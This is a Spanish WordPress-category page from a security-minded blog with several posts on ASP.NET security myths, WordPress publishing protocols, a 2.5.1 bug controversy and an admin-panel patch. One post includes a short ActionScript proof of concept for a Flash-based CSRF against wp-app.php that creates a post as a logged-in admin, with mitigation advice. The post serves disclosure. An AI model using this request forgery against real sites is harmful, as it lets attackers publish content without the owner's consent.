Category: WordPress

Categories
ASP.NET Web WordPress

ASP.NET, seguridad y algunos mitos

El cuento empieza luego de que un amigo me preguntó si sabía algo de Graffiti -- un CMS de pago desarrollado en .NET, puesto que su empresa tenía planes en adquirir unas cuantas licencias del mismo.

El hecho es que mientras charlabamos intenté convencerle para que usen WordPress en su lugar, pero las principales razones que me dió para haber descartado esa opción era que a) WordPress tenía un largo historial de problemas de seguridad en comparación al otro y b) que por el mismo hecho de estar desarrollado en .NET la aplicación era más segura.

Cuando participaba en ciertos foros de discusión relacionados a .NET, solía ser fácil encontrar ese tipo de opiniones en relación a la seguridad[1] de ASP.NET, es por este motivo que me animé a comentar esta anécdota, puesto que posiblemente sea de útil para alguien que recién comienza -- naturalmente tendría que pasar por alto mi terrible forma de redactar y ortografía. 😀

Regresando al tema lo que le dije fue que los problemas de seguridad existen, más allá de lo buenos que sean los programadores o de que los lenguajes que utilicen sean dinámicamente o estáticamente tipados y que el número de problemas reportados generalmente está en relación a la popularidad del software.

Finalmente, para reforzar lo que había dicho, daba la casualidad que hace algo menos de un año, había encontrado un problema grave de seguridad que todavía afecta a la última versión de Graffiti y que permite tomar el control del sitio en cuestión de segundos. Ahora me pregunto, ¿habré ganado algún usuario más de WordPress? 😀

1. No digo que este tipo de opiniones solamente vengan de parte de algunos desarrolladores .NET, sólo comento mi experiencia.

Categories
Hosting Miniposts Recursos Utilidades WordPress

DreamHost Apps: Hosting gratis para aplicaciones

DreamHost Apps Hosting gratis para aplicaciones web. [Vía]

Categories
WordPress

Protocolos de publicación remota en WordPress

A estas alturas imagino que la mayoría ya sabe que en cada instalación nueva de WordPress 2.6, tanto la publicación por XMLRPC como APP estarán desactivados por omisión. A pesar de que algunos inicialmente pegaron un grito al cielo por este cambio, personalmente creo que es un cambio acertado, puesto que seguramente reducirá el número de vectores de ataque en aquellos blogs que no necesiten de éstos protocolos.

Sin ir muy lejos, actualmente la forma como está implementado APP en WordPress (y probablemente en otros CMSs), lo hace a este último, vulnerable a ataques CSRF usando Flash, que como se sabe, se puede usar para sobrepasar distintas restricciones de seguridad [1]. La siguiente porción de código muestra que tan sencillo es aprovechar este problema de seguridad en el protocolo mencionado:

actionscript:

// En este caso simplemente crea una nueva entrada.
function WpApp() {
        this.readQueryString();
       
        var blog:String = _params.blog;
        if ( !blog ) return;
        var r:URLRequest = new URLRequest(blog + '/wp-app.php?action=/posts');

        r.method = 'POST';
        r.data =        '<?xml version="1.0" encoding="UTF-8"?>'+
                                '<rss version="2.0"' +
                                        'xmlns:content="http://purl.org/rss/1.0/modules/content/"' +
                                        'xmlns:wfw="http://wellformedweb.org/CommentAPI/"' +
                                        'xmlns:dc="http://purl.org/dc/elements/1.1/"' +
                                        'xmlns:atom="http://www.w3.org/2005/Atom">'
                                '<channel>'+
                                        '<atom:entry>'+
                                                '<title>Boo</title>'+
                                                '<category domain="category" nicename="uncategorized" term="uncategorized"><![CDATA[Uncategorized]]></category>'+
                                                '<content><![CDATA[boo!]]></content>'+
                                        '</atom:entry>'+
                                        '</channel>'+
                                '</rss>';
        r.contentType = 'application/atom+xml';

        navigateToURL(r, '_self');
}

Lo único que el atacante necesitaría, sería identificar si la víctima inició sesión o no, y lo primero que se me viene a la mente en estos momentos es enviar un pingback y luego verificar que hizo click desde algún lado del panel de administración -- ¡a que no soy el único que mira los enlaces entrantes! 😀

Los problemas que comento han sido reportados hace mes y medio aproximadamente, pero hasta el momento sólo hicieron una corrección puntual para la prueba de concepto que envié, por lo que no sería mala idea eliminar este archivo (wp-app.php o app.php) o denegar el acceso al mismo.

[1] Por ejemplo las páginas que permiten subir archivos y que generalmente no tienen protección contra ataques CSRF. Actualmente casi todas las versiones de WordPress sufren este problema y se puede explotar usando lo descrito en Cross-site File Upload Attacks.

Categories
Provocación WordPress

Realidad (¿ligeramente?) distorsionada de un bug

Un fenómeno que últimamente noto en relación a WordPress -- al menos en bloggers hispanos, es que cada vez existe menos tolerancia a los errores que se presentan en cada versión. En mi opinión, estos errores se deben principalmente a que el proceso de desarrollo de este CMS y el código en si, son en cierta forma desordenados; pero por otro lado, la comunidad tampoco ayuda mucho en el reporte de errores, me pregunto ¿cuántos de los que lo usan y usualmente se quejan han tomado parte de su tiempo para reportar algún fallo o comportamiento erróneo en el lugar adecuado?.

He leído también por ahí a un blogger que comentaba que con usar y darle "publicidad" (léase enlaces) a WordPress era más que suficiente para de cierto modo "pagar" por el uso de éste, pero particularmente creo ese comportamiento se aleja de lo que debería ser y/o hacerse en una verdadera comunidad de un proyecto de Software Libre.

En fin, todo este desvarío de ideas se debe a un curioso caso que empezó con una entrada que publicó Héctor titulada "Bug grave en WordPress 2.5.1", a lo cual -- probablemente por el título -- otros bloggers escribieron entre otras cosas (negritas intencionalmente resaltadas):

Un gran problema de seguridad presenta la ultima versión de WordPress 2.5.1, gracias a la ayuda de sigt tenemos una simple y rápida solución. S recomienda modificar estos archivos ya que el bug no estara resuelto hasta la proxima version de WP 2.5.2

Código Geek

Pues sí, salió la actualización WordPress 2.5.1, y ya han descubierto un bug de seguridad. Además, si usaban el plugin XML Sitemaps actualícenlo ya a la última versión si no quieren que su servidor eche humo.

La Brújula Verde

[...] Por otro lado, apenas salió la actualización, se encontró un nuevo error bastante crítico, como explican en SigT y Bitperbit, el cual ya tiene solución. [...]

Geek Spot

Ahora, supongo que a cada uno le corresponde determinar que tan grave es no poder resetear la contraseña de sus propios blogs, "afortunadamente" para mi, hasta el momento no tuve la necesidad de hacer eso ni una sola vez.

Finalmente, me gustaría acotar que este "gravísimo" error se produjo porque había que corregir un problema de seguridad real y el que hizo la corrección no se percató del código que dependía de dicha funcionalidad -- posiblemente si se usaran pruebas unitarias y de integración se evitarían este tipo de casos.

Categories
Web WordPress

WordPress 2.5 y el nuevo panel de admistración

Una de las razones para no actualizar este blog a la última versión de WordPress es que no me gusta nada el nuevo diseño del panel de administración, principalmente porque en las pruebas que hice tengo que usar mucho "scroll" para escribir entradas y precisamente no me agrada perder tiempo en ese tipo de cosas. 🙂

Bueno, desde hace algunos días quería hacer cambios para volver a la misma estructura de versiones anteriores, pero debido a mis limitados conocimientos de CSS y falta de tiempo, no hice casi nada. En fin, luego de revisar la página de reporte de bugs de este proyecto, encontré que Judy Becker se tomó el trabajo de hacer los cambios (¡gracias!) para que la estructura de "Escribir entrada" y "Escribir página" sean -- a mi modo de ver -- más usables (en realidad asemeja a la estructura que se tenía en versiones anteriores):

Diseño modificado del panel de administración de WordPress 2.5

Si quieren descargar aplicar estos cambios a su versión de wordpress, pueden aplicar el siguiente parche o sobreescribir directamente los archivos que cambian -- hasta donde he probado, estos cambios funcionan bien en Firefox (2.0.0.13) e Internet Explorer 7.

Por cierto, para los que todavía no actualizaron a WordPress 2.5 y quieren hacerlo, les sugiero que esperen un poco porque seguramente la siguiente versión corregirá algunos problemas de seguridad leves.